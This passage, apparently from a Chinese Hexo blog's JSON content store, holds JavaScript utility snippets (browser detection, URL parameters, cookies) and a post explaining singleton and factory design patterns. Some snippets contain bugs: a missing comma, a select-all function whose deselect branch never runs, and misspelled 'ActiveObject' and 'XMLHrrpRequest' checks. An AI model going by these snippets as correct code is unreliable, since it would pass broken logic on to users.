新数组是通过检测的所有oldArr元素的集合</p>\n<h4 id=\"arr-join-separator\"><a href=\"#arr-join-separator\" class=\"headerlink\" title=\"arr.join(separator)\"></a>arr.join(separator)</h4><p>将数组转换成字符串，并用separator 分开，可以省略</p>\n<h4 id=\"reverse\"><a href=\"#reverse\" class=\"headerlink\" title=\"reverse()\"></a>reverse()</h4><p>反转字符串或数组</p>\n<h3 id=\"函数\"><a href=\"#函数\" class=\"headerlink\" title=\"函数\"></a>函数</h3><h4 id=\"判断客户端手机型号\"><a href=\"#判断客户端手机型号\" class=\"headerlink\" title=\"判断客户端手机型号\"></a>判断客户端手机型号</h4><pre><code>var BrowserInfo = {\n    userAgent: navigator.userAgent.toLowerCase()\n    isAndroid: Boolean(navigator.userAgent.match(/android/ig)),\n    isIphone: Boolean(navigator.userAgent.match(/iphone|ipod/ig)),\n    isIpad: Boolean(navigator.userAgent.match(/ipad/ig)),\n    isWeixin: Boolean(navigator.userAgent.match(/MicroMessenger/ig)),\n}\n</code></pre><h4 id=\"获取-url-的参数\"><a href=\"#获取-url-的参数\" class=\"headerlink\" title=\"获取 url 的参数\"></a>获取 url 的参数</h4><pre><code>function getExp(name, url) {\n    var reg = new RegExp(&quot;(^|\\\\?|&amp;)&quot; + name + &quot;=([^&amp;]*)(\\\\s|&amp;|$)&quot;, &quot;i&quot;)\n    if (reg.test(url)) return decodeURIComponent(RegExp.$2.replace(/\\+/g, &quot; &quot;)) return &quot;&quot;\n}\n</code></pre><h4 id=\"全屏显示\"><a href=\"#全屏显示\" class=\"headerlink\" title=\"全屏显示\"></a>全屏显示</h4><pre><code>function launchFullScreen(element) {\n    if (element.requestFullScreen) {\n        element.requestFullScreen();\n    } else if (element.mozRequestFullScreen) {\n        element.mozRequestFullScreen();\n    } else if (element.webkitRequestFullScreen) {\n        element.webkitRequestFullScreen();\n    }\n}\n</code></pre><h4 id=\"全选-全不选\"><a href=\"#全选-全不选\" class=\"headerlink\" title=\"全选/全不选\"></a>全选/全不选</h4><pre><code>function selectAll(objSelect) {\n    if(objSelect.checked == true) {\n        $(&quot;input[name=&#39;chkId&#39;]&quot;).attr(&quot;checked&quot;, true)\n        $(&quot;input[name=&#39;chkAll&#39;]&quot;).attr(&quot;checked&quot;, true)\n    } else if (objSelect.checked == true) {\n        $(&quot;input[name=&#39;chkId&#39;]&quot;).attr(&quot;checked&quot;, false)\n        $(&quot;input[name=&#39;chkAll&#39;]&quot;).attr(&quot;checked&quot;, false)\n    }\n}\n</code></pre><h4 id=\"判断浏览器\"><a href=\"#判断浏览器\" class=\"headerlink\" title=\"判断浏览器\"></a>判断浏览器</h4><pre><code>&lt;!--判断是否是 IE 浏览器--&gt;\n    if (document.all){\n        alert(”IE浏览器”);\n    }else{\n        alert(”非IE浏览器”);\n    }\n    if (!!window.ActiveXObject){\n        alert(”IE浏览器”);\n    }else{\n        alert(”非IE浏览器”);\n    }\n&lt;!--判断是IE几--&gt;\nvar isIE=!!window.ActiveXObject;\nvar isIE6=isIE&amp;&amp;!window.XMLHttpRequest;\nvar isIE8=isIE&amp;&amp;!!document.documentMode;\nvar isIE7=isIE&amp;&amp;!isIE6&amp;&amp;!isIE8;\nif (isIE){\n    if (isIE6){\n        alert(”ie6″);\n    }else if (isIE8){\n        alert(”ie8″);\n    }else if (isIE7){\n        alert(”ie7″);\n    }\n}\n</code></pre><h4 id=\"js-写-cookie\"><a href=\"#js-写-cookie\" class=\"headerlink\" title=\"js 写 cookie\"></a>js 写 cookie</h4><pre><code>function setCookie(name, value, expires, path, domain) {\n    if (!expires) expires = -1\n    if (!path) path = &quot;/&quot;\n    var d = &quot;&quot; + name + &quot;=&quot; + value\n    var e\n    if (expires &lt; 0) {\n        e = &quot;&quot;\n    }\n    else if (expires == 0) {\n        var f = new Date(1970, 1, 1)\n        e = &quot;;expires=&quot; + f.toUTCString()\n    }\n    else {\n        var now = new Date()\n        var f = new Date(now.getTime() + expires * 1000)\n        e = &quot;;expires=&quot; + f.toUTCString()\n    }\n    var dm;\n    if (!domain) {\n        dm = &quot;&quot;\n    }\n    else {\n        dm = &quot;;domain=&quot; + domain\n    }\n    document.cookie = name + &quot;=&quot; + value + &quot;;path=&quot; + path + e + dm\n};\n</code></pre><h4 id=\"js-读-cookie\"><a href=\"#js-读-cookie\" class=\"headerlink\" title=\"js 读 cookie\"></a>js 读 cookie</h4><pre><code>function readCookie(name) {\n    var nameEQ = name + &quot;=&quot;\n    var ca = document.cookie.split(&#39;;&#39;)\n    for (var i = 0; i &lt; ca.length; i++) {\n        var c = ca[i]\n        while (c.charAt(0) == &#39; &#39;) c = c.substring(1, c.length)\n        if (c.indexOf(nameEQ) == 0) {\n            return decodeURIComponent(c.substring(nameEQ.length, c.length))\n        }\n    } return null\n}\n</code></pre>"},{"title":"js常见的九种设计模式","date":"2018-03-09T02:31:48.000Z","_content":"## 介绍\n\n设计模式(DP)是一套被反复使用，多数人知晓的、经过分类编目的、代码设计经验的总结。\n\n## 分类\n\n* 单体模式\n* 单例模式\n* 工厂模式\n* 观察者模式（发布订阅者模式）\n* 策略模式\n* 模块模式\n* 模板模式\n* 代理模式\n* 外观模式\n\n> 设计模式目前有23种，目前只列举出了在实战中比较常用的几种。\n\n## 九种\n\n### 单体模式\n\n#### 概念\n\n单体是一个用来划分命名空间并将一批相关的属性和方法组织在一起的对象，如果它可以被实例化，那么它只能被实例化一次。\n\n#### 特点\n\n1. 可以用来划分命名空间，从而清除全局变量所带来的危险。\n2. 利用分支技术来封装浏览器之间的差异。\n3. 可以把代码组织的更为一体。\n\n#### 代码实现\n\n```js\nvar Singleton = {\n  attribute: true,\n  method1: function () {},\n  method2: function () {}\n}\n```\n\n#### 应用场景\n\n单体模式我们平时应用的比较多，相当于我们把代码封装在一起，只暴露一个入口，防止对全局的污染。\n\n### 单例模式\n\n#### 概念\n\n单例模式定义了一个对象的创建过程，此对象只有一个单独的实例，并提供一个访问它的全局访问点。也可以说单例就是保证一个类只有一个实例，实现的方法一般是先判断实例存在与否，如果存在直接返回，如果不存在就创建了再返回，这就确保了一个类只有一个实例对象。\n\n#### 代码实现\n\n```js\nvar single = (function () {\n  var unique\n\n  function getInstance () {\n    // 如果该实例存在，则直接返回，否则就对其实例化\n    if (unique === undefined) {\n      unique = new Construct()\n    }\n    return unique\n  }\n  function Construct () {\n    //生成单例的构造函数的代码\n  }\n\n  return {\n    getInstance\n  }\n\n})()\n\n```\n\n上面的代码中，unique 便是返回对象的引用，而 getinstance 便是静态方法获得实例。 Construct 便是创建实例的构造函数。\n可以通过 single.getInstance() 来获取到单例，并且每次调用均获取到同一个单例。这是 单例模式 所实现的效果。\n\n#### 应用场景\n\n单例模式是一种常用的模式，有一些对象我们往往只需要一个，比如全局缓存、浏览器的 window 对象。\n\n1. 可以用它来划分命名空间。\n2. 借助单例模式，可以把代码组织的更为一致，方便阅读和维护。\n\n### 工厂模式\n\n#### 概念\n\n提供创建对象的接口，根据参数产生相应的对象，就是把成员对象的创建工作交给一个外部对象，好处在于消除对象之间的耦合。\n\n#### 分类\n\n* 简单工厂模式：使用一个类，通常为单体，来生成实例。\n* 复杂工厂模式：将其成员对象的实例化推到子类中，子类可以重写父类接口的方法以便创建的时候指定自己的对象类型。父类只对创建过程中的一般性问题进行处理，这些处理会被子类继承，子类之间是相互独立的，具体的业务逻辑会放在子类中进行编写。\n\n#### 代码实现\n\n简单工厂模式\n\n```js\nvar XHRFactory = function () {}\n\nXHRFactory.createXMLHttp = function () {\n  var XMLHttp = null\n\n  if (window.XMLHttpRequest) {\n    XMLHttp = new XMLHttpRequest()\n  } else if (window.ActiveObject) {\n    XMLHttp = new ActiveXObject('Microsoft.XMLHTTP')\n  }\n\n  return XMLHttp\n}\n\nvar Ajax = function () {\n  var XMLHttp = XHRFactory.createXMLHttp()\n}\n```\n\n复杂工厂模式：先设计一个抽象类，这个类不能被实例化，只能用来派生子类，最后通过对子类的拓展实现工厂方法。\n\n```js\nvar XHRF = function () {}\n\nXHRF.prototype = {\n  createFactory: function () {\n    throw new Error('this is an abstract class')\n  }\n}\n\nvar XHRH = function () {}\n\n// 子类继承父类\nextend(XHRH, XHRF)\n\n// 把父类原型传递给子类，实现继承\nXHRH.prototype = new XHRF()\n// 重置子类原型的构造器为子类自身\nXHRH.prototype.constructor = XHRH\n\n// 重新定义createFactory 方法\nXHRH.prototype.createFactory = function () {\n  var XMLHttp = null\n\n  if (window.XMLHrrpRequest) {\n    XMLHttp = new XMLHttpRequest()\n  } else if (window.ActiveXObject) {\n    XMLHttp = new ActiveXObject('Microsoft.XMLHTTP')\n  }\n\n  return XMLHttp\n}\n\n```\n\n#### 应用场景\n\n1. 对象的构建十分复杂\n2. 需要依赖具体环境创建不同实例\n3. 处理大量具有相同属性的小对象\n\n#### 优点\n\n1. 弱化对象间的耦合，防止代码重复。\n2. 重复性的代码可以放在父类中去编写，子类继承于父类的所有成员属性和方法，子类只专注于实现自己的业务逻辑。\n\n#### 缺点\n\n当工厂增加到一定程度的时候，提高了代码的复杂度，可读性下降。而且没有解决对象的识别问题，既怎么知道一个对象的类型。\n","source":"_posts/js常见的九种设计模式.md","raw":"---\ntitle: js常见的九种设计模式\ndate: 2018-03-09 10:31:48\ntags: [js methods]\ncategories: web前端\n---\n## 介绍\n\n设计模式(DP)是一套被反复使用，多数人知晓的、经过分类编目的、代码设计经验的总结。\n\n## 分类\n\n* 单体模式\n* 单例模式\n* 工厂模式\n* 观察者模式（发布订阅者模式）\n* 策略模式\n* 模块模式\n* 模板模式\n* 代理模式\n* 外观模式\n\n> 设计模式目前有23种，目前只列举出了在实战中比较常用的几种。\n\n## 九种\n\n### 单体模式\n\n#### 概念\n\n单体是一个用来划分命名空间并将一批相关的属性和方法组织在一起的对象，如果它可以被实例化，那么它只能被实例化一次。\n\n#### 特点\n\n1. 可以用来划分命名空间，从而清除全局变量所带来的危险。\n2. 利用分支技术来封装浏览器之间的差异。\n3. 可以把代码组织的更为一体。\n\n#### 代码实现\n\n```js\nvar Singleton = {\n  attribute: true,\n  method1: function () {},\n  method2: function () {}\n}\n```\n\n#### 应用场景\n\n单体模式我们平时应用的比较多，相当于我们把代码封装在一起，只暴露一个入口，防止对全局的污染。\n\n### 单例模式\n\n#### 概念\n\n单例模式定义了一个对象的创建过程，此对象只有一个单独的实例，并提供一个访问它的全局访问点。也可以说单例就是保证一个类只有一个实例，实现的方法一般是先判断实例存在与否，如果存在直接返回，如果不存在就创建了再返回，这就确保了一个类只有一个实例对象。\n\n#### 代码实现\n\n```js\nvar single = (function () {\n  var unique\n\n  function getInstance () {\n    // 如果该实例存在，则直接返回，否则就对其实例化\n    if (unique === undefined) {\n      unique = new Construct()\n    }\n    return unique\n  }\n  function Construct () {\n    //生成单例的构造函数的代码\n  }\n\n  return {\n    getInstance\n  }\n\n})()\n\n```\n\n上面的代码中，unique 便是返回对象的引用，而 getinstance 便是静态方法获得实例。 Construct 便是创建实例的构造函数。\n可以通过 single.getInstance() 来获取到单例，并且每次调用均获取到同一个单例。这是 单例模式 所实现的效果。\n\n#### 应用场景\n\n单例模式是一种常用的模式，有一些对象我们往往只需要一个，比如全局缓存、浏览器的 window 对象。\n\n1. 可以用它来划分命名空间。\n2. 借助单例模式，可以把代码组织的更为一致，方便阅读和维护。\n\n### 工厂模式\n\n#### 概念\n\n提供创建对象的接口，根据参数产生相应的对象，就是把成员对象的创建工作交给一个外部对象，好处在于消除对象之间的耦合。\n\n#### 分类\n\n* 简单工厂模式：使用一个类，通常为单体，来生成实例。\n* 复杂工厂模式：将其成员对象的实例化推到子类中，子类可以重写父类接口的方法以便创建的时候指定自己的对象类型。父类只对创建过程中的一般性问题进行处理，这些处理会被子类继承，子类之间是相互独立的，具体的业务逻辑会放在子类中进行编写。\n\n#### 代码实现\n\n简单工厂模式\n\n```js\nvar XHRFactory = function () {}\n\nXHRFactory.createXMLHttp = function () {\n  var XMLHttp = null\n\n  if (window.XMLHttpRequest) {\n    XMLHttp = new XMLHttpRequest()\n  } else if (window.ActiveObject) {\n    XMLHttp = new ActiveXObject('Microsoft.XMLHTTP')\n  }\n\n  return XMLHttp\n}\n\nvar Ajax = function () {\n  var XMLHttp = XHRFactory.createXMLHttp()\n}\n```\n\n复杂工厂模式：先设计一个抽象类，这个类不能被实例化，只能用来派生子类，最后通过对子类的拓展实现工厂方法。\n\n```js\nvar XHRF = function () {}\n\nXHRF.prototype = {\n  createFactory: function () {\n    throw new Error('this is an abstract class')\n  }\n}\n\nvar XHRH = function () {}\n\n// 子类继承父类\nextend(XHRH, XHRF)\n\n// 把父类原型传递给子类，实现继承\nXHRH.prototype = new XHRF()\n// 重置子类原型的构造器为子类自身\nXHRH.prototype.constructor = XHRH\n\n// 重新定义createFactory 方法\nXHRH.prototype.createFactory = function () {\n  var XMLHttp = null\n\n  if (window.XMLHrrpRequest) {\n    XMLHttp = new XMLHttpRequest()\n  } else if (window.ActiveXObject) {\n    XMLHttp = new ActiveXObject('Microsoft.XMLHTTP')\n  }\n\n  return XMLHttp\n}\n\n```\n\n#### 应用场景\n\n1. 对象的构建十分复杂\n2. 需要依赖具体环境创建不同实例\n3. 处理大量具有相同属性的小对象\n\n#### 优点\n\n1. 弱化对象间的耦合，防止代码重复。\n2. 重复性的代码可以放在父类中去编写，子类继承于父类的所有成员属性和方法，子类只专注于实现自己的业务逻辑。\n\n#### 缺点\n\n当工厂增加到一定程度的时候，提高了代码的复杂度，可读性下降。而且没有解决对象的识别问题，既怎么知道一个对象的类型。\n","slug":"js常见的九种设计模式","published":1,"updated":"2018-03-09T05:49:42.491Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y520010vzqhk6w7jg8k","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h2 id=\"介绍\"><a href=\"#介绍\" class=\"headerlink\" title=\"介绍\"></a>介绍</h2><p>设计模式(DP)是一套被反复使用，多数人知晓的、经过分类编目的、代码设计经验的总结。</p>\n<h2 id=\"分类\"><a href=\"#分类\" class=\"headerlink\" title=\"分类\"></a>分类</h2><ul>\n<li>单体模式</li>\n<li>单例模式</li>\n<li>工厂模式</li>\n<li>观察者模式（发布订阅者模式）</li>\n<li>策略模式</li>\n<li>模块模式</li>\n<li>模板模式</li>\n<li>代理模式</li>\n<li>外观模式</li>\n</ul>\n<blockquote>\n<p>设计模式目前有23种，目前只列举出了在实战中比较常用的几种。</p>\n</blockquote>\n<h2 id=\"九种\"><a href=\"#九种\" class=\"headerlink\" title=\"九种\"></a>九种</h2><h3 id=\"单体模式\"><a href=\"#单体模式\" class=\"headerlink\" title=\"单体模式\"></a>单体模式</h3><h4 id=\"概念\"><a href=\"#概念\" class=\"headerlink\" title=\"概念\"></a>概念</h4><p>单体是一个用来划分命名空间并将一批相关的属性和方法组织在一起的对象，如果它可以被实例化，那么它只能被实例化一次。</p>\n<h4 id=\"特点\"><a href=\"#特点\" class=\"headerlink\" title=\"特点\"></a>特点</h4><ol>\n<li>可以用来划分命名空间，从而清除全局变量所带来的危险。</li>\n<li>利用分支技术来封装浏览器之间的差异。</li>\n<li>可以把代码组织的更为一体。</li>\n</ol>\n<h4 id=\"代码实现\"><a href=\"#代码实现\" class=\"headerlink\" title=\"代码实现\"></a>代码实现</h4><pre><code class=\"js\">var Singleton = {\n  attribute: true,\n  method1: function () {},\n  method2: function () {}\n}\n</code></pre>\n<h4 id=\"应用场景\"><a href=\"#应用场景\" class=\"headerlink\" title=\"应用场景\"></a>应用场景</h4><p>单体模式我们平时应用的比较多，相当于我们把代码封装在一起，只暴露一个入口，防止对全局的污染。</p>\n<h3 id=\"单例模式\"><a href=\"#单例模式\" class=\"headerlink\" title=\"单例模式\"></a>单例模式</h3><h4 id=\"概念-1\"><a href=\"#概念-1\" class=\"headerlink\" title=\"概念\"></a>概念</h4><p>单例模式定义了一个对象的创建过程，此对象只有一个单独的实例，并提供一个访问它的全局访问点。也可以说单例就是保证一个类只有一个实例，实现的方法一般是先判断实例存在与否，如果存在直接返回，如果不存在就创建了再返回，这就确保了一个类只有一个实例对象。</p>\n<h4 id=\"代码实现-1\"><a href=\"#代码实现-1\" class=\"headerlink\" title=\"代码实现\"></a>代码实现</h4><pre><code class=\"js\">var single = (function () {\n  var unique\n\n  function getInstance () {\n    // 如果该实例存在，则直接返回，否则就对其实例化\n    if (unique === undefined) {\n      unique = new Construct()\n    }\n    return unique\n  }\n  function Construct () {\n    //生成单例的构造函数的代码\n  }\n\n  return {\n    getInstance\n  }\n\n})()\n\n</code></pre>\n<p>上面的代码中，unique 便是返回对象的引用，而 getinstance 便是静态方法获得实例。 Construct 便是创建实例的构造函数。<br>可以通过 single.getInstance() 来获取到单例，并且每次调用均获取到同一个单例。这是 单例模式 所实现的效果。</p>\n<h4 id=\"应用场景-1\"><a href=\"#应用场景-1\" class=\"headerlink\" title=\"应用场景\"></a>应用场景</h4><p>单例模式是一种常用的模式，有一些对象我们往往只需要一个，比如全局缓存、浏览器的 window 对象。</p>\n<ol>\n<li>可以用它来划分命名空间。</li>\n<li>借助单例模式，可以把代码组织的更为一致，方便阅读和维护。</li>\n</ol>\n<h3 id=\"工厂模式\"><a href=\"#工厂模式\" class=\"headerlink\" title=\"工厂模式\"></a>工厂模式</h3><h4 id=\"概念-2\"><a href=\"#概念-2\" class=\"headerlink\" title=\"概念\"></a>概念</h4><p>提供创建对象的接口，根据参数产生相应的对象，就是把成员对象的创建工作交给一个外部对象，好处在于消除对象之间的耦合。</p>\n<h4 id=\"分类-1\"><a href=\"#分类-1\" class=\"headerlink\" title=\"分类\"></a>分类</h4><ul>\n<li>简单工厂模式：使用一个类，通常为单体，来生成实例。</li>\n<li>复杂工厂模式：将其成员对象的实例化推到子类中，子类可以重写父类接口的方法以便创建的时候指定自己的对象类型。父类只对创建过程中的一般性问题进行处理，这些处理会被子类继承，子类之间是相互独立的，具体的业务逻辑会放在子类中进行编写。</li>\n</ul>\n<h4 id=\"代码实现-2\"><a href=\"#代码实现-2\" class=\"headerlink\" title=\"代码实现\"></a>代码实现</h4><p>简单工厂模式</p>\n<pre><code class=\"js\">var XHRFactory = function () {}\n\nXHRFactory.createXMLHttp = function () {\n  var XMLHttp = null\n\n  if (window.XMLHttpRequest) {\n    XMLHttp = new XMLHttpRequest()\n  } else if (window.ActiveObject) {\n    XMLHttp = new ActiveXObject(&#39;Microsoft.XMLHTTP&#39;)\n  }\n\n  return XMLHttp\n}\n\nvar Ajax = function () {\n  var XMLHttp = XHRFactory.createXMLHttp()\n}\n</code></pre>\n<p>复杂工厂模式：先设计一个抽象类，这个类不能被实例化，只能用来派生子类，最后通过对子类的拓展实现工厂方法。</p>\n<pre><code class=\"js\">var XHRF = function () {}\n\nXHRF.prototype = {\n  createFactory: function () {\n    throw new Error(&#39;this is an abstract class&#39;)\n  }\n}\n\nvar XHRH = function () {}\n\n// 子类继承父类\nextend(XHRH, XHRF)\n\n// 把父类原型传递给子类，实现继承\nXHRH.prototype = new XHRF()\n// 重置子类原型的构造器为子类自身\nXHRH.prototype.constructor = XHRH\n\n// 重新定义createFactory 方法\nXHRH.prototype.createFactory = function () {\n  var XMLHttp = null\n\n  if (window.XMLHrrpRequest) {\n    XMLHttp = new XMLHttpRequest()\n  } else if (window.ActiveXObject) {\n    XMLHttp = new ActiveXObject(&#39;Microsoft.XMLHTTP&#39;)\n  }\n\n  return XMLHttp\n}\n\n</code></pre>\n<h4 id=\"应用场景-2\"><a href=\"#应用场景-2\" class=\"headerlink\" title=\"应用场景\"></a>应用场景</h4><ol>\n<li>对象的构建十分复杂</li>\n<li>需要依赖具体环境创建不同实例</li>\n<li>处理大量具有相同属性的小对象</li>\n</ol>\n<h4 id=\"优点\"><a href=\"#优点\" class=\"headerlink\" title=\"优点\"></a>优点</h4><ol>\n<li>弱化对象间的耦合，防止代码重复。</li>\n<li>重复性的代码可以放在父类中去编写，子类继承于父类的所有成员属性和方法，子类只专注于实现自己的业务逻辑。</li>\n</ol>\n<h4 id=\"缺点\"><a href=\"#缺点\" class=\"headerlink\" title=\"缺点\"></a>缺点</h4><p>当工厂增加到一定程度的时候，提高了代码的复杂度，可读性下降。而且没有解决对象的识别问题，既怎么知道一个对象的类型。</p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h2 id=\"介绍\"><a href=\"#介绍\" class=\"headerlink\" title=\"介绍\"></a>介绍</h2><p>设计模式(DP)是一套被反复使用，多数人知晓的、经过分类编目的、代码设计经验的总结。</p>\n<h2 id=\"分类\"><a href=\"#分类\" class=\"headerlink\" title=\"分类\"></a>分类</h2><ul>\n<li>单体模式</li>\n<li>单例模式</li>\n<li>工厂模式</li>\n<li>观察者模式（发布订阅者模式）</li>\n<li>策略模式</li>\n<li>模块模式</li>\n<li>模板模式</li>\n<li>代理模式</li>\n<li>外观模式</li>\n</ul>\n<blockquote>\n<p>设计模式目前有23种，目前只列举出了在实战中比较常用的几种。</p>\n</blockquote>\n<h2 id=\"九种\"><a href=\"#九种\" class=\"headerlink\" title=\"九种\"></a>九种</h2><h3 id=\"单体模式\"><a href=\"#单体模式\" class=\"headerlink\" title=\"单体模式\"></a>单体模式</h3><h4 id=\"概念\"><a href=\"#概念\" class=\"headerlink\" title=\"概念\"></a>概念</h4><p>单体是一个用来划分命名空间并将一批相关的属性和方法组织在一起的对象，如果它可以被实例化，那么它只能被实例化一次。</p>\n<h4 id=\"特点\"><a href=\"#特点\" class=\"headerlink\" title=\"特点\"></a>特点</h4><ol>\n<li>可以用来划分命名空间，从而清除全局变量所带来的危险。</li>\n<li>利用分支技术来封装浏览器之间的差异。</li>\n<li>可以把代码组织的更为一体。</li>\n</ol>\n<h4 id=\"代码实现\"><a href=\"#代码实现\" class=\"headerlink\" title=\"代码实现\"></a>代码实现</h4><pre><code class=\"js\">var Singleton = {\n  attribute: true,\n  method1: function () {},\n  method2: function () {}\n}\n</code></pre>\n<h4 id=\"应用场景\"><a href=\"#应用场景\" class=\"headerlink\" title=\"应用场景\"></a>应用场景</h4><p>单体模式我们平时应用的比较多，相当于我们把代码封装在一起，只暴露一个入口，防止对全局的污染。</p>\n<h3 id=\"单例模式\"><a href=\"#单例模式\" class=\"headerlink\" title=\"单例模式\"></a>单例模式</h3><h4 id=\"概念-1\"><a href=\"#概念-1\" class=\"headerlink\" title=\"概念\"></a>概念</h4><p>单例模式定义了一个对象的创建过程，此对象只有一个单独的实例，并提供一个访问它的全局访问点。也可以说单例就是保证一个类只有一个实例，实现的方法一般是先判断实例存在与否，如果存在直接返回，如果不存在就创建了再返回，这就确保了一个类只有一个实例对象。</p>\n<h4 id=\"代码实现-1\"><a href=\"#代码实现-1\" class=\"headerlink\" title=\"代码实现\"></a>代码实现</h4><pre><code class=\"js\">var single = (function () {\n  var unique\n\n  function getInstance () {\n    // 如果该实例存在，则直接返回，否则就对其实例化\n    if (unique === undefined) {\n      unique = new Construct()\n    }\n    return unique\n  }\n  function Construct () {\n    //生成单例的构造函数的代码\n  }\n\n  return {\n    getInstance\n  }\n\n})()\n\n</code></pre>\n<p>上面的代码中，unique 便是返回对象的引用，而 getinstance 便是静态方法获得实例。 Construct 便是创建实例的构造函数。<br>可以通过 single.getInstance() 来获取到单例，并且每次调用均获取到同一个单例。这是 单例模式 所实现的效果。</p>\n<h4 id=\"应用场景-1\"><a href=\"#应用场景-1\" class=\"headerlink\" title=\"应用场景\"></a>应用场景</h4><p>单例模式是一种常用的模式，有一些对象我们往往只需要一个，比如全局缓存、浏览器的 window 对象。</p>\n<ol>\n<li>可以用它来划分命名空间。</li>\n<li>借助单例模式，可以把代码组织的更为一致，方便阅读和维护。</li>\n</ol>\n<h3 id=\"工厂模式\"><a href=\"#工厂模式\" class=\"headerlink\" title=\"工厂模式\"></a>工厂模式</h3><h4 id=\"概念-2\"><a href=\"#概念-2\" class=\"headerlink\" title=\"概念\"></a>概念</h4><p>提供创建对象的接口，根据参数产生相应的对象，就是把成员对象的创建工作交给一个外部对象，好处在于消除对象之间的耦合。</p>\n<h4 id=\"分类-1\"><a href=\"#分类-1\" class=\"headerlink\" title=\"分类\"></a>分类</h4><ul>\n<li>简单工厂模式：使用一个类，通常为单体，来生成实例。</li>\n<li>复杂工厂模式：将其成员对象的实例化推到子类中，子类可以重写父类接口的方法以便创建的时候指定自己的对象类型。父类只对创建过程中的一般性问题进行处理，这些处理会被子类继承，子类之间是相互独立的，具体的业务逻辑会放在子类中进行编写。</li>\n</ul>\n<h4 id=\"代码实现-2\"><a href=\"#代码实现-2\" class=\"headerlink\" title=\"代码实现\"></a>代码实现</h4><p>简单工厂模式</p>\n<pre><code class=\"js\">var XHRFactory = function () 